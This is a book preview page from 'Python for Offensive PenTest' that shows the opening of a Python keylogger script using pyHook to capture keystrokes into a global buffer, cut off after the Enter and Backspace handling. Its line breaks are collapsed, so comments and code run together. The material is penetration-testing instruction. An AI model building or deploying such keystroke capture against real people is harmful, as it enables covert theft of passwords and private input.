Adding code to keylogger

The following is the script for keylogger:

# Python For Offensive PenTest# pyHook download link# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/# pythoncom download link# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/# Keyloggerimport pythoncom, pyHook#Again, once the user hit any keyboard button, keypressed func will be executed and that action will be store in eventdef keypressed(event):    global store#Enter and backspace are not handled properly that's why we hardcode their values to < Enter > and <BACK SPACE># note that we can know if the user input was enter or backspace based on their ASCII values        if event.Ascii==13:        keys=' < Enter > '     elif event.Ascii==8: keys=' <BACK SPACE> ' ...

Get Python for Offensive PenTest now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.